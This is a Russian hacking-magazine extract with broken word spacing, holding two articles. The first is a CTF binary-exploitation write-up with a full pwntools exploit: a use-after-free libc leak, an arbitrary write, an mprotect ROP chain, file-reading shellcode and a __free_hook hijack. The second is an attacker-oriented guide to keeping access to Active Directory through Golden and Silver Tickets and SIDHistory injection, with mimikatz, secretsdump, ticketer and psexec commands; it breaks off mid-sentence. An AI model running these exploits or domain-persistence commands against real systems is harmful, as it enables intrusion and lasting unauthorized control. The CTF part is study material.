вес тный исполня емый файл.
Нам повезл о, декомп илиров ан ный псевд окод выгл ядит при ятно и лег ко чита‐
ется, так что больш их проб лем с понима нием механизм ов исполня емог о
файл а быть не дол жно.
Расс мот рим функ ции по поряд ку.
1. init
Здесь нет ничего по‐нас тояще му интер ес ного, прост о отключ ает ся буфери‐
зация вво да и вывода и уста навл ивае тся врем я работы прогр аммы (пос‐
ле 0x3c секунд про изой дет пры жок на handler, фун кцию, которая сост оит
из одной стро ки: exit(0);).
2. sandbox
Эта функ ция нам ного интер есн ее пред ыдущ ей: ока зыва ется, в прог рамме
дос таточ но жест ко наст ро ен seccomp. Давай разб еремс я, какие сист емные
вызовы раз решены. Найт и таб лицу соот ветст вий назв аний сиск оллов с их
номера ми не пред став ляет тру да.
Итак, абсо лют но точн о разр ешены exit, mprotect, open и close. Нем‐
ного, но уже ста новит ся понятен финальн ый этап экс плу ата ции: нужн о будет
сде лать один из регио нов памяти дост упным для чтен ия, записи и исполне‐
ния, записать туда шелл‐код на чтен ие фай ла с фла гом и прыг нуть на него.
Так же дос тупны сис темные вызовы read и write, но не пол ностью. IDA
не показыв ает аргум ен ты seccomp_rule_add пос ле чет верто го, а ведь
основные прав ила наст ройк и для задан ных сиск оллов имен но там. Нажав
пра вой кноп кой мыши на назв ание фун кции, мож но выбр ать опцию Set call
type и, таким обра зом, дописать еще нес коль ко __int64, что бы увид еть боль‐
ше аргум ен тов.
По опыт у работы с seccomp могу сказ ать, что IDA не совс ем прав ильн о опре‐
делил а седь мой аргу мент, который равен SCMP_CMP_EQ (это 4), но стан овит ся
ясно, что прогр амма может читать тольк о из нулево го деск рипт ора (stdin),
а писать тольк о в перв ый дес крипт ор (stdout). Пока что не совс ем понят но,
как тогд а написать шелл‐код, ведь читать нужн о в любом слу чае из деск рип‐
тора открыт ого фай ла, который точн о не равен нулю. Но об этом позж е.
3. menu
Это меню, которое выводит ся каж дую итер ацию цикл а в main.
4. get_num
По лучен ие номера выб ранной фун кции прои схо дит безопас но, здесь нет
ничего интер есн ого для нас.
5. do_read
Ав тор таск а пре дост авля ет нам чис тый arbitrary read. Не могу ска зать, что
это очень ред кое и уни каль ное решение, но такие задания чаще все го край не
инте ресн ы. Мы можем про читать что угодн о отку да угодн о не более двух раз,
по край ней мере так будет счит ать прог рамма. Переменн ая read_count гло‐
баль ная, а зна чит, хра нит ся не на сте ке, а в BSS. В даль нейшем понима ние
это го может облегчить экс плу ата цию.
6. do_write
По хожим обра зом работае т do_write. У нас появл яет ся возм ожность
записыв ать что угод но куда угод но, пока write_count меньш е еди ницы
или равен ей. Сраз у мож но при думать обход механизм а пров ерк и: пос ле каж‐
дой записи через след ующий do_write прис ваивать write_count знач ение
‐1, таким образ ом получить пол ный, ничем не огра ничен ный arbitrary write
и схо жим образ ом arbitrary read.
Мы еще не успел и проч итать весь код, а уже име ем серье зный конт роль
над потоком выпол нения прогр аммы.
7. leave_feedback
При выборе треть ей опции меню вмес то незамед лительн ого выхода прог‐
рамма попр осит остав ить обратную связь. Это про исход ит сле дующим обра‐
зом:
• про веря ется, равен ли нулю глоб аль ный указ атель feedback;
• есл и нет, то прог рамма аллоц ируе т чанк разм ером 0x501 и даст нам
непос редст вен ный ввод в него;
• за тем польз овател я спра шива ют: хочет ли он, чтоб ы его фид бек был сох‐
ранен;
• есл и он введ ет n, то чанк будет осво божд ен, но ука затель feedback
не обнул ит ся.
По ка что эта ошибк а некр итич на, но в дальн ейшем может быть очень полез‐
на.
Что бы выз вать эту фун кцию, нуж но ввес ти цифр у 4, упом инан ия о которой нет
в меню. Фун кция view_feedback выводит то, что находит ся по ука зател ю
feedback, не про веряя сос тояние чанк а, который может быть осво божд ен.
Такой тип уязв имос тей называ ется Use‐After‐Free. Подр азуме вает ся, что
по адре су ука зател я дол жен лежать поль зовательс кий ввод, но чуть позж е мы
увид им, что для осво бож денных чанк ов это не всегд а так.
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
СОВСЕМ НЕ USELESS
CRAP
КАЧАЕМ СКИЛЛ БИНАРНОЙ ЭКСПЛУАТАЦИИ
НА СЛОЖНОЙ ЗАДАЧЕ С CTF
UAF И ПОЧЕМУ ЭТО ХОРОШО
Бо лее подр обно о реализ ации ptmalloc мож но проч итать в бло ге Sploit Fun,
но мы расс мот рим работу с кучей упрощ ен но. Чтоб ы понять, что прои сход ит,
когд а прогр аммист соз дает чанк раз мером 1281 байт, а затем освоб ожд ает
его, напишем свою прог рамму.
#include <stdio.h>
#include <stdlib.h>
int main() {
void **a, *b;
a = calloc(1, 1281);
b = malloc(200);
free(a);
printf("%p\n", *a);
}
Чанк b нужен для того, что бы не прои зош ло кон солида ции с топ‐чанк ом
и поп росту пол ного удал ения структ уры a посл е его осво божд ения.
• calloc(1, 1281) вер нет указ атель ров но на то мес то, куда мож но
записы вать дан ные, не думая о внут ренних механизм ах реали зации кучи.
• Раз мер a больш е 1032, поэто му пос ле free(a) он попадет в так называ‐
емый unsorted bin. При этом forward pointer и backward pointer (это указ ате‐
ли, созд анные для того, что бы ускор ить работу ptmalloc) чан ка, попав шего
в unsorted bin, указ ываю т в libc.
• Ука затель a будет равен адрес у, по которо му расп олага ется forward point‐
er. Таким обра зом, там, где раньш е лежали польз овательс кие дан ные,
сейч ас лежит указ атель в libc, и printf нам его выведет.
Теп ерь стал ясен пер вый этап эксп лу ата ции.
1. Зай ти в leave_feedback и ска зать прог рамме, что нуж но уда лить
оставленн ую обратную связь.
2. Вып ол нить view_feedback и таким образ ом получить адрес libc.
Можн о выпол нить это в GDB, что бы посч итать оффсет до кор ня libc
и получить базовый адрес.
1. Че рез set execwrapper env 'LD_PRELOAD=./libc2.31.so' под‐
гру жаем нуж ную верс ию libc.
2. С помощью команд ы vmmap смот рим все регио ны памяти.
3. Посл едова тельн о выпол няя коман ды ni и si, доходим до инс трук ции,
которая вызывае т free нужн ого нам чан ка, и через x/6b посм отрим на то,
какой ука затель там лежит.
По 0x7f в кон це стан овит ся понят но, что перед нами один из адрес ов libc.
Пос читать раз ницу 0x7ffff7fc2be0 и 0x7ffff7c0d000 не сос тавит тру да: она рав‐
на 0x3b5be0. Итак, мы зна ем точн ый оффсет от кор ня libc до полученн ого
адрес а.
Мож но начать писать эксп ло ит:
from pwn import *
p=process('./crap')
p.recvuntil('>')
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.recvuntil('>')
p.sendline('4')
# Парсинг нужного куска вывода
x = p.recvline().strip().split(': ')[‐1][::‐1].encode('hex')
libc_base = int(x, 16) ‐ 0x3b5be0
print 'libc base is', hex(libc_base)
УВЕЛИЧИВАЕМ КОНТРОЛЬ
Для упро щения гря дущей раз работ ки экс пло ита поч ти необ ходимо опи сать
функ ции read и write через собс твен ные оберт ки на Python.
def read(addr):
p.sendline('1')
p.recvuntil('addr: ')
p.sendline(hex(addr)[2:])
x=p.recvline().strip().split(': ')[‐1]
p.recvuntil('>')
return x
def write(where, what):
p.sendline('2')
p.recvuntil(': ')
p.sendline('{} {}'.format(hex(where)[2:], hex(what)[2:]))
p.recvuntil('>')
Мы сде лали перв ые шаги в эксп лу атац ии, но успех еще далеко. Адрес libc —
это, конеч но, непл охо, но нам точ но понадоб ят ся адре са PIE и сте ка
для дальн ейшей экс плу атац ии. В glibc сущес тву ет гло баль ная перемен ная
environ, которая указ ывае т на переменн ые окруж ения, хра нящие ся на стек е,
так что оста лось толь ко узнать ее знач ение. Можн о пост упить сле дующим
обра зом.
• Че рез environ получить адрес стек а.
• Ме тодом науч ного тыка найт и такую позицию на сте ке, в которой при каж‐
дом запуск е будет хран ить ся один из адре сов PIE.
Посч итать оффсет от адрес а environ до кор ня libc мож но так же, как мы
делали это рань ше: через команд ы x и vmmap.
Нап исать код для выпол нения обоз начен ных шагов дос таточн о несл ожно:
environ=libc_base+0x3b8618
print 'environ is', hex(environ)
stack=int(read(environ), 16)
print 'stack is', hex(stack)
# ‐48 можно получить как просмотрев стек в GDB,
# так и обычным перебором
pie=read(stack‐48)
# ‐2970 и следующие оффсеты получены через x и vmmap
pie=int(pie, 16)‐2970
read_count=pie+2105392
write_count=pie+0x202033
feedback=pie+0x202038
print 'pie is', hex(pie)
write(read_count, 0) # read_count=0
write(write_count, 0xfffffffffffffff0) # write_count = ‐16
ЧТО ТАКОЕ ЭТОТ ROP?
Сам а по себе техн ика ROP очень изящн а, ознак омить ся с ней я советую даже
людям, не план ирую щим в даль нейшем серь езно заниматьс я раз работ кой
экс пло итов. Научить ся базовым трю кам можн о, нап ример, на сайт е ROP Em‐
porium. Так же «Хакер» не раз писал об этой тех нике.
Читай также про ROP
• Раз врат но‐орие нтир ованн ое прог рамми рован ие: трюк и ROP, при водящ ие
к победе (архивная статья 2010 года)
• В королевс тве PWN. ROP‐цепоч ки и ата ка Return‐to‐PLT в CTF Bitterman
• Пи шем спло ит для обхо да DEP: ret2libc и ROP‐цепочк и прот ив Data Execu‐
tion Prevention
Сейч ас нужн о понимать тольк о то, что ROP — техн ика бинарн ой экс плу ата‐
ции, основная фиш ка которой — сост авле ние свое й прог раммы из кусоч ков
экс плу ати руемой. Сущест вуе т понятие гадж ета — это такой кусочек прог‐
раммы, пос ле выпол нения которог о хакер не теряе т кон троль над потоком
выпол нения, а может выпол нять сле дующие гадж еты.
Нам нужн о сдел ать один из регио нов памяти Readable, Writable и eXe‐
cutable (rwx). Дос тичь изме нения прав мож но, вызв ав функ цию mprotect сле‐
дующим обра зом:
mprotect(addr, some_size, 7)
Трет ий аргум ент указ ывае т как раз на то, что мы хотим сде лать реги он rwx.
По ложить нужн ые знач ения в нужн ые регис тры нам поможет техн ика ROP.
В 64‐бит ном Linux аргум ен ты соот ветс тву ют регист рам в след ующем поряд‐
ке:
• RDI — I
• RSI — II
• RDX — III
• RCX — IV
• R8 — V
• R9 — VI
Сле дующие аргум ент ы, если они есть, находят ся на сте ке.
ROP естес твен но использ овать при эксп лу ата ции уязв имост и перепол‐
нения буфера, но здесь у нас ее нет, как и нет воз можнос ти созд ать ее
искусс твенн о. Поэто му будем использ овать сле дующий алгор итм.
• Чер ез do_write пишем на стек ROP‐цепочк у таким обра зом, чтоб ы
начало этой цепоч ки отсто яло от return address фун кции do_write ровн о
на 16 байт.
• Когд а цепочк а будет пол ностью записа на на стек, перезап ишем return
address do_write на гад жет вида pop some_reg; pop some_reg;
ret;. Таким образ ом, этот гадж ет съест 16 байт, которые мы оставля ли
от return pointer до ROP‐цепоч ки, и пол ностью ее выполн ит.
В качест ве подопыт ного я выб рал адрес, отстоя щий на 0x201000 от кор ня PIE,
и поп робовал изме нить пра ва на него. Сама цепь схем атичн о долж на выг‐
лядеть прим ерн о так:
make rdi = (pie+0x201000)
# 1000 — число с потолка. Можно любое другое,
# потому что mprotect изменит права всего региона
make rsi = 1000
make rdx = 7
call mprotect
Для поиск а гадж етов сущест вуе т мног о инст рум ен тов, я исполь зую ROPgad‐
get.
Дав ай скорм им прогр амме дан ный нам libc и найд ем все нужн ые нам гад‐
жеты. Сде лать это можн о при помощи коман ды
ROPgadget ‐‐binary libc‐2.31.so > n
Дал ее при помощи любого тек стов ого редак тора мож но из огромно го спис ка
найт и нужн ые нам кусочк и. В нашем слу чае прек расно подойд ут сле дующие
гад жеты:
0x0000000000021882 : pop rdi ; ret
0x0000000000022192 : pop rsi ; ret
0x000000000012c561 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000002187f : pop r14 ; pop r15 ; ret
Пос ледний гад жет будем использ овать в качес тве спуск ового крючк а
для выпол нения цепоч ки. Оффсет до mprotect мож но най ти через GDB. Итак,
код экс пло ита:
pop_rdi = 0x21882
pop_rsi = 0x22192
pop_rax_rdx_rbx = 0x12c561
pop_r14_r15 = 0x2187f
place=pie+0x201000
mprotect = libc_base + 986064
# Сдвиг можно посчитать, поставив брейк‐пойнт
# на инструкцию ret функции do_write
add = stack ‐ 264
write(add, libc_base+pop_rdi)
write(write_count, 0xfffffffffffffff0)
write(add+8, place)
write(write_count, 0xfffffffffffffff0)
write(add+16, libc_base+pop_rsi)
write(write_count, 0xfffffffffffffff0)
write(add+24, 1000)
write(write_count, 0xfffffffffffffff0)
write(add+32, libc_base+pop_rax_rdx_rbx)
write(write_count, 0xfffffffffffffff0)
write(add+40, 0)
write(write_count, 0xfffffffffffffff0)
write(add+48, 7)
write(write_count, 0xfffffffffffffff0)
write(add+56, 0)
write(write_count, 0xfffffffffffffff0)
write(add+64, mprotect)
write(write_count, 0xfffffffffffffff0)
# Когда цепочка отработала, прыгаем на main
write(add+72, pie+0x0000000000001192)
write(write_count, 0xfffffffffffffff0)
# Здесь мы закончили писать ROP,
# и нужно заставить программу его выполнить
# Позиция на стеке, на которой лежит return address do_write
ret = stack ‐ 288
write(ret, libc_base+pop_r14_r15)
write(write_count, 0xfffffffffffffff0)
Нужн ый нам регио н стал дост упен для чте ния, записи и исполнен ия кода.
ПИШЕМ ШЕЛЛ-КОД
Вот и приш ло вре мя подумать, как имен но писать шелл‐код для заверш ения
экс плуа тац ии. Во врем я CTF на этот этап я пот ратил окол о десяти часов
и чудом нат кнул ся на вопр ос со Stack Overflow, который подв ел меня к нуж ной
мысл и.
Идея такая: новому откры тому файл у выдае тся минималь ный из воз‐
можных файл овых деск рипт оров. Тог да если нулевой дес крип тор был бы сво‐
боден, то open("flag.txt", O_RDONLY) верн ул бы ноль, то есть к файл у
можн о было бы обра щать ся как к stdin в обыч ных услов иях. Дост ичь это го
мож но, прост о выпол нив close(0), ведь сис темный вызов close разр ешен
seccomp.
Это прос тая, но одновре менн о крас ивая идея. Имен но она сдел ала этот
таск одним из инте ресн ей ших сред и ког да‐либо решен ных мной.
shell='''
mov rdi, 0
mov rax, 3
syscall ; closing stdin
mov rsi, 0
push 0
mov rcx, 8392585648256674918 ; «flag.txt» in little‐endian
push rcx
mov rdi, rsp
mov rax, 2
syscall
mov rax, 0
mov rdi, 0
mov rsi, rsp
mov rdx, 60
syscall ; writing flag to the top of the stack
mov rdi, 1
mov rsi, rsp
mov rdx, 60
mov rax, 1
syscall ; printing flag
'''
print shell
# pwntools предоставляет очень удобный API для написания шелл‐кодов
shellcode=asm(shell).encode('hex')
# Не стоит пугаться этого цикла. Это просто запись по 8 байт
for i in range(13):
print(i)
write(place+(i*8), int(shellcode[i*16:(i+1)*16].decode('hex')[::‐1]
.encode('hex'), 16))
write(write_count, 0xfffffffffffffff0)
ИСПОЛЬЗУЕМ FREE_HOOK
GNU C пред ос тавляе т нам возм ожность изме нять поведен ие функ ций
malloc, free и realloc, использ уя соот ветст ву ющие хуки. Если знач ения __‐
malloc_hook, __free_hook или __realloc_hook будут не равн ы нулю, то
прогр амма прыгн ет на адре са, записан ные в них, при попыт ке выпол нить
соот ветст вую щие функ ции.
Кста ти, почитать об этой и дру гих фишк ах бинар ной эксп луа тац ии можн о
в репози тории CTF‐pwn‐tips, во врем я сорев нований он дейс тви тель но
помога ет.
Зак онч ить эксп луа тац ию я хочу, прыгн ув на шелл‐код через __free_hook.
Напом ню, что прог рамма выпол няет free, если в функ ции leave_feedback
выбр ать опцию уда ления обратной свя зи. Заверш ающая часть эксп ло ита:
free_hook=3898952+libc_base
print 'free_hook is', hex(free_hook)
print 'place is', hex(place)
print 'feedback is', hex(feedback)
write(free_hook, place)
write(write_count, 0xfffffffffffffff0)
write(feedback, 0)
# Триггерим free
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.interactive()
ВЫВОДЫ
Спа сибо авто ру тас ка PewZ за инте рес ную идею и пред ос тавлен ие
докер‐конт ейн ера с игров ого сер вера. Решить таск самос тоятель но можн о,
если выпол нить след ующую команд у:
nc ctf.sprush.rocks 6001
Как минимум в течение месяца посл е публ икации статьи (то есть до середин ы
июня 2020 года) она дол жна работать.
ВЗЛОМ
ЗАКРЕПЛЯЕМСЯ
В ACTIVE DIRECTORY
КАК СОХРАНИТЬ ДОСТУП
ПРИ АТАКЕ НА ДОМЕН
RalfHacker
[email protected]
Предс тавь, что мы скомп ро метир овал и при виле гиро ванн ые
учетн ые записи, исполь зуя раз ные техн ики повыше ния при‐
вилег ий, рас простран ились по сети, скрыл ись от средств
обнар ужен ия, но неожи дан но потерял и конт роль
над доменом, потому что админ ис трат ор по какой‐то при‐
чине сме нил пароль! В сегодн яшней статье мы разб ерем
спо собы сох ранить адми нис трат ивн ый дос туп, даже если
адми нис трат ор сме нил пароли или разр ешения.
Другие статьи про атаки на Active Directory
• Разв едка в Active Directory. Получае м польз овательс кие данн ые в сетях
Windows без прив илег ий
• Атак и на Active Directory. Разб ирае м акту аль ные методы повыше ния при‐
виле гий
• Бо ковое перемещ ение в Active Directory. Раз бирае м тех ники Lateral Move‐
ment при атак е на домен
• За щита от детек та в Active Directory. Укло няем ся от обна ружен ия при атак е
на домен
• Защ ита от детект а в Active Directory. Как обман уть средс тва обнар ужен ия
при ата ке на домен
• Сбор уче ток в Active Directory. Как искать кри тичес ки важ ные данн ые
при ата ке на домен
• Бэкд оры в Active Directory. Исполь зуем груп повые полити ки, что бы сох‐
ранить дос туп к домену
WARNING
Вся информац ия пре дост авле на исключ итель но
в ознак омит ель ных целях. Ни редак ция, ни автор
не несут ответст вен ности за любой возм ожный
вред, при чинен ный информац ией из этой статьи.
KERBEROS GOLDEN TICKETS
Один из спо собов сохр анить дост уп к сист еме — сформ ировать Golden Tick‐
et: пароль учет ной записи krbtgt не будет изме нен при тех же усло виях,
при которых может быть измен ен пароль админ ист рат ора.
Golden Ticket — это под дель ные билеты для выдачи билетов, такж е
называе мые аутен тификац ионн ыми билетам и (они же TGT). Если посм отреть
на схе му аутент ификац ии Kerberos в случ ае Golden Ticket, то можн о заметить,
что под линность Kerberos не пров еряе тся (AS‐REQ и AS‐REP с конт рол лером
домена). Так как Golden Ticket явля ется под дель ным TGT, он отправ ляет ся
конт рол леру домена как часть TGS‐REQ для получе ния билета TGS.
Схе ма аутент ифика ции Kerberos c Golden Ticket
Зо лотой билет Kerberos — дейс тви тельн ый билет Kerberos TGT, поск ольк у он
зашифр ован и под писан домен ной учет ной записью Kerberos (krbtgt). А так
как TGT зашифр ован хешем пароля krbtgt и может быть рас шифров ан
любой служб ой KDC в домене, то билет и восп ри нима ется как реаль ный.
Для того что бы сдел ать Golden Ticket, нам необ ходимо знать след ующее:
1. SPN домена.
2. SID домена.
3. NTLM‐хеш доменн ой учет ной записи krbtgt.
4. Имя поль зовате ля, под которым будет работать опер атор (даже если
такого поль зовател я не сущес твуе т).
Так как имя поль зовател я может быть любым, оста ется найт и три недос‐
тающих ком понент а. Назв ание и SID домена мож но узнать с помощью Power‐
Shell‐команд ы Get‐ADDomain.
SID и имя домена
Теп ерь нужн о получить NTLM‐хеш учет ной записи krbtgt. Сде лать это можн о
как уда лен но, так и с помощью mimikatz. С использ ование м mimikatz у опе‐
рато ра есть выбор: выпол нить ата ку DCSync, использ уя базу Security Account
Managers (SAM), или задей ствов ать модуль sekurlsa.
mimikatz # lsadump::dcsync /user:krbtgt
По лучае м хеши с помощью mimikatz, использ уя атак у DCSync
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
По луча ем хеши с помощью mimikatz, использ уя базу SAM
mimikatz # sekurlsa::krbtgt
По лучае м хеши с помощью mimikatz, исполь зуя модуль sekurlsa
Уда ленн ая атак а выпол няет ся такж е с исполь зование м DCSync или при
наличии откры той сес сии meterpreter.
impacket‐secretsdump domain.dom/[email protected]
По луче ние хешей с помощью secretsdump
Су щес твуе т два вари анта исполь зования meterpreter: при помощи hash‐
dump и dcsync_ntlm (для вто рого нужн о заг рузить модуль kiwi).
По лучен ие хешей с помощью meterpreter hashdump
По луче ние хешей с помощью meterpreter dcsync_ntlm
С помощью полученн ой информа ции мож но соз дать и прим енить Golden
Ticket. Сде лаем это трем я спос обам и: исполь зуя mimikatz, удал ен но
с помощью ticketer и с использ овани ем meterpreter.
Ticketer
Пер вым делом сле дует соз дать билет. Для этог о использ уем скрипт tick‐
eter из пакета impacket (напом ню, что имя поль зовате ля можн о выдумать
любое).
impacket‐ticketer ‐nthash 08f5bf2e292d77d8e460d3926a0d90de
‐domain‐sid S‐1‐5‐21‐719111203‐942671344‐1831409528 ‐domain domain.
dom anyuser
Соз дание Golden Ticket с помощью ticketer
В текущей дирек тории созд ан билет anyuser.ccache. Экспор тиру ем его.
export KRB5CCNAME=anyuser.ccache
Те перь под клю чим ся с помощью psexec из того же пакета impacket.
python3 psexec.py ‐k ‐no‐pass [домен]/[пользователь]@[имя хоста]
Под клю чаемс я к хос ту, использ уя Golden Ticket
По лучае м уда ленн ое управле ние с прав ами SYSTEM.
Mimikatz
Соз дадим подд ельн ый золотой билет с помощью mimikatz.
Соз дание Golden Ticket с помощью mimikatz
Ес ли в данн ой команд е не исполь зовать параметр /ptt, то билет будет прос‐
то сохр анен в текущей директ ории. В дан ном случ ае он сра зу будет кеширо‐
ван в памяти. Давай про верим это, вызв ав коман дную строк у.
mimikatz # misc::cmd
Теп ерь, выпол нив команд у klist, набл юдае м кеширо ванн ый Golden Ticket.
Соз дание Golden Ticket с помощью mimikatz
Meterpreter
Для работы с meterpreter будем использ овать модуль kiwi. Перв ым делом
соз дадим Golden Ticket.
Созд ание Golden Ticket с помощью meterpreter
Теп ерь при меним его.
Прим ене ние Golden Ticket с помощью meterpreter
И про верим, что билет успешно заг ружен.
Заг руженн ый Golden Ticket
Так им образ ом, у нас оста ется возм ожность работы с повышен ными при‐
виле гиями, при этом мы не использ уем учет ных дан ных адми нист ра торов.
Это озна чает, что мы можем получить дост уп всег да, даже при сме не паролей
поль зовател ей, изме нении их ролей и даже при уда лении ском пром ети‐
рованн ых учет ных записей.
KERBEROS SILVER TICKET
Silver Ticket — это под дельн ые билеты TGS, такж е называе мые билетам и
служ бы. Как показа но на схе ме аутен тификац ии Kerberos с Silver Ticket, в этом
слу чае отсутс твую т шаги AS‐REQ/AS‐REP и TGS‐REQ/TGS‐REP, что исклю чает
вза имо дейс твие с кон трол лером домена. То есть у нас получа ется избеж ать
логиро вания, так как жур налы событий расп олага ются на сер вере.
Схе ма аутен тифика ции Kerberos c Silver Ticket
Се реб ряный билет Kerberos — дейс тви тельн ый билет Kerberos TGS: он
зашиф рован и под писан учет ной записью служб ы, для которой наст ро ено
SPN‐имя для каж дого сер вера, на котором, в свою очер едь, работа ет служб а
про вер ки подл инност и Kerberos.
В то врем я как Golden Ticket являе тся подд ельн ым TGT для получе ния дос‐
тупа к любой служб е Kerberos, Silver Ticket пред став ляет собой подд ель ный
TGS. А это означ ает, что область его прим еним ост и огран иче на опре делен‐
ной служб ой.
Из всег о вышеск азан ного сле дует, что вмест о хеша пароля учет ной
записи krbtgt нужен хеш пароля учет ной записи служб ы, а так же ее SPN‐
имя. Ниже предс тавл ены наибо лее интер есн ые служб ы и соот ветс тву ющие
им типы билетов.
Служб а Тип Silver Ticket
WMI HOST, RPCSS
PowerShell Remoting HOST, HTTP
WinRM HOST, HTTP
Зап ланиро ван ные задачи HOST
Общ ий дос туп к фай лам Windows (CIFS) CIFS
LDAP LDAP
Средс тва удал ен ного адми нист рир ован ия Windows RPCSS, LDAP, CIFS
Разб ерем созд ание Silver Ticket на прим ере служ бы cifs. Она позв олит нам
обра щатьс я с прав ами админ ис трат ора к любому общем у ресурс у на компь‐
юте ре, чего хват ит для работы через psexec с пра вами SYSTEM.
Для служб ы cifs нам дост аточн о хеша пароля учет ной записи компью те‐
ра. Его мож но получить так же, как и в случ ае с Golden Ticket.
По луче ние хешей с помощью secretsdump
По луче ние хешей с помощью meterpreter
В случ ае с mimikatz можн о использ овать sekurlsa::logonpasswords.
По луче ние хеша учет ной записи компь ютер а с помощью mimikatz
Теп ерь давай созд адим и прим еним Silver Ticket.
Ticketer
Для начала сге нери руем Silver Ticket. Сдел ать это можн о по ана логии
с золотым билетом, но след ует ука зать SPN служб ы CIFS.
impacket‐ticketer ‐nthash c854d3f11ea2ad22267ed4571f77d29b
‐domain‐sid S‐1‐5‐21‐719111203‐942671344‐1831409528 ‐domain domain.
dom ‐spn cifs/[hostname] anyuser
По луче ние хеша учет ной записи компь ютер а с помощью mimikatz
Те перь экспорт ируе м тикет.
export KRB5CCNAME=anyuser.ccache
И наконец, получим управлен ие с прав ами SYSTEM с помощью psexec.
По луче ние хеша учет ной записи компью те ра с помощью mimikatz
Mimikatz
NTLM‐хеш пароля учетн ой записи компь юте ра использ ует ся с парамет ром
rc4. При этом мы можем прид умать как имя польз овател я, так и его User ID (в
парамет ре id). В парамет ре service ука жем cifs, а в target — пол ное имя
компью тер а.
kerberos::golden /admin:anyuser /domain:domain.dom /id:1111 /sid:
S‐1‐5‐21‐719111203‐942671344‐1831409528 /target:[hostname] /rc4:[
NTLM хеш] /service:cifs /ptt
По лучен ие хеша учет ной записи компь ютер а с помощью mimikatz
Про верим загр уженн ые в память билеты и обна ружим там толь ко что соз‐
данный.
По лучен ие хеша учет ной записи компь ютер а с помощью mimikatz
Сущ ес тву ет мнен ие, что Silver Ticket куда более опасн ы, чем Golden Ticket,
несм отря на то что область их дей ствия огра ниченн а. Это спра вед ливо
потому, что хеш служ бы легч е получить, чем хеш krbtgt, а обнар уже ние
такого вторж ения сложн ее из‐за отсутст вия взаи мод ейс твия с кон тролл ером
домена.
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ЗАКРЕПЛЯЕМСЯ
В ACTIVE DIRECTORY
КАК СОХРАНИТЬ ДОСТУП
ПРИ АТАКЕ НА ДОМЕН
SIDHISTORY
SIDHistory — это атри бут объ екта в Active Directory, который хра нит стар ый
SID. Наибо лее част о он при меня ется при мигр аци ях. Эта фун кция необ‐
ходима при перено се учет ных записей польз овател ей из одног о доверенн ого
домена в дру гой. При этом учет ные записи пол ностью сох раня ют наст ройк и
дос тупа к стар ым ресурс ам и файл ам. Ког да польз ователь про ходит про верк у
под линнос ти, идент ифика торы безопасн ости каж дой групп ы безопасн ости,
член ом которой он являе тся, добав ляют ся в билет Kerberos это го поль зовате‐
ля, а так же в атриб ут SIDHistory его учет ной записи.
При созд ании нового польз овате ля SID его учет ки будет отлич ен от SID
друг их учет ных записей. Это такж е справ едл иво при перенос е польз овател я
из пер вого домена во вто рой. В таком слу чае SID учет ной записи польз овате‐
ля из перв ого домена будет добавл ен в SIDHistory учет ной записи во вто‐
ром домене. Имен но поэтом у польз ователь из вто рого домена может
получить дост уп к сво им ста рым ресурс ам и фай лам в перв ом домене.
Но, что уди витель но, если обычн ый поль зователь во втор ом домене имее т
в атриб уте SIDHistory сво ей учет ной записи SID учет ной записи одног о
из адми нист рат оров пер вого домена, то данн ый поль зователь стан овит ся
при вилег иро ван ным в пер вом домене! То есть польз овате лю будут пре дос‐
тавле ны прав а админ ист ра тора домена без его учас тия в груп пе «Адми нис‐
трат оры домена».
Так им образ ом, для сох ранения при вилег иро ван ного дост упа в доверен‐
ном домене опер атор может вклю чить SID прив иле гиров анн ой учет ной
записи в целевом домене в атриб ут SIDHistory конт ро лируе мой им неп‐
ривиле гиро ванн ой учет ной записи из доверен ного домена.
С помощью mimikatz мы можем внед рить любой SID в атриб ут SIDHistory
любого польз овате ля (но для этог о нужн ы пра ва адми нис трат ора, которые
у нас, конечн о же, есть). На след ующей иллюс трац ии видн о, что поль зователь
notroot не имее т адми нис трат ив ного дос тупа.
Не удачн ое под клю чение с помощью psexec от име ни польз овате ля
notroot
Дав ай пос мотрим атри бут SIDHistory это го польз овате ля.
PS > Get‐ADUser [пользователь] ‐Properties SIDHistory
SIDHistory польз овате ля notroot
Данн ый атри бут у поль зовате ля пуст. Теперь узна ем SID админ ис тра тора,
который необх одимо туда внед рить.
По лучен ие информац ии о поль зовате ле с высоки ми при вилег иями
Дав ай внед рим с помощью mimikatz SID прив илег иров анн ого поль зовател я
root в атри бут SIDHistory обычн ого поль зовате ля notroot.
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:[целевой пользователь] /new:[SID или
пользователь, чей SID внедряется]
Внедр ение в SID с помощью mimikatz
Все прошл о успешно. Теперь снов а пров ерим атриб ут SIDHistory нашего
поль зовател я. Как видн о на сле дующей иллюст рац ии, в атриб уте SIDHistory
теперь прис утст вуе т SID прив илег иро ванн ого польз овател я.
SIDHistory поль зовател я notroot
При вхо де в сист ему от имен и поль зовател я notroot все иден тификат оры
безопасн ости, связ анн ые с этой учет ной записью, добав ляют ся в токен поль‐
зовате ля, который задейс твов ан для опред елен ия дост упа к ресурс ам. Если
точ нее, туда добавл яют ся:
1. SID, свя занн ый с учет ной записью польз овате ля.
2. SID’ы групп, в которые вхо дит поль зователь (включ ая групп ы, чле нами
которых являю тся эти групп ы).
3. SID’ы, содер жащи еся в SIDHistory.
Есл и сно ва попытать ся войт и в сис тему от имен и польз овател я notroot, то
можн о заметить, что теперь он имее т админ ист рат ивн ый дос туп.
Ус пешное подк лю чение от име ни поль зовате ля notroot с помощью
psexec
Когд а поль зователь notroot вхо дит в сист ему, SID’ы, свя зан ные с его учет‐
ной записью, оце ниваю тся и дост уп опред еля ется на осно ве этих SID. Так
как учет ная запись notroot связ ана с учет ной записью root (адми нист ра‐
тор), учет ная запись notroot имее т все пра ва дос тупа к учет ной записи root,
вклю чая прав а адми нис трат ора домена.
GOLDEN TICKET + SIDHISTORY
Ро дитель ский (кор невой) домен содерж ит групп у админ ис тра торов все го
леса Enterprise Admins. Поэто му, ког да хеш пароля учет ной записи krbtgt
пред ост авляе тся в дочерн ем домене, сущес твуе т опре деленн ое огран иче‐
ние. Так как mimikatz добавл яет членс тво в групп е за счет относ итель ных
